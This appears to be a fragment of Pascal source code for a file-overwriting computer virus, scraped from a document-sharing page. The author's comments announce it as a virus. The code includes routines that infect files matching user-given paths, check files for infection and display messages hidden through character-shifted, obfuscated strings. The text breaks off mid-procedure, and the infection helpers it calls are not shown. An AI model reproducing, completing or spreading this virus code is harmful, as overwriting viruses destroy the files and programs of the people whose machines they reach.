Académique Documents
Professionnel Documents
Culture Documents
(* version 1.0 *)
{$i-}
(* this production has been made possible by the letters 't' and 'p', and
the number '666'. *)
uses dos;
(* this is a unique accomplishment for me, the first time i have ever
written a virus in pascal. for that reason, i do not intend to make it
an advanced appending virus, but rather overwriting code. *)
procedure infct;
var s : string;
begin
readln(s);
findinfect(s);
end;
procedure check;
var wildcard : string;
tsrec : searchrec;
begin
readln(wildcard);
findfirst(wildcard,$3f,tsrec);
if checkinfect(tsrec) then decodeshow('obs^') else writeln ('no');
writeln('');
end;
procedure showver;
begin
decodeshow('^rs}*s}*nonsmk~on*~y*obs^8');
writeln('');
end;
procedure exitdos;
var s,t : string;
leave, supreme : boolean;
begin
leave:=false; supreme := false;
while not leave do begin
s:='';
decodeshow('ox~o|*1obs^1*~y*o?s~*o?s~1}*obs^8');
write(decode('mdfobs^h'));
readln(s);
begin
randomize;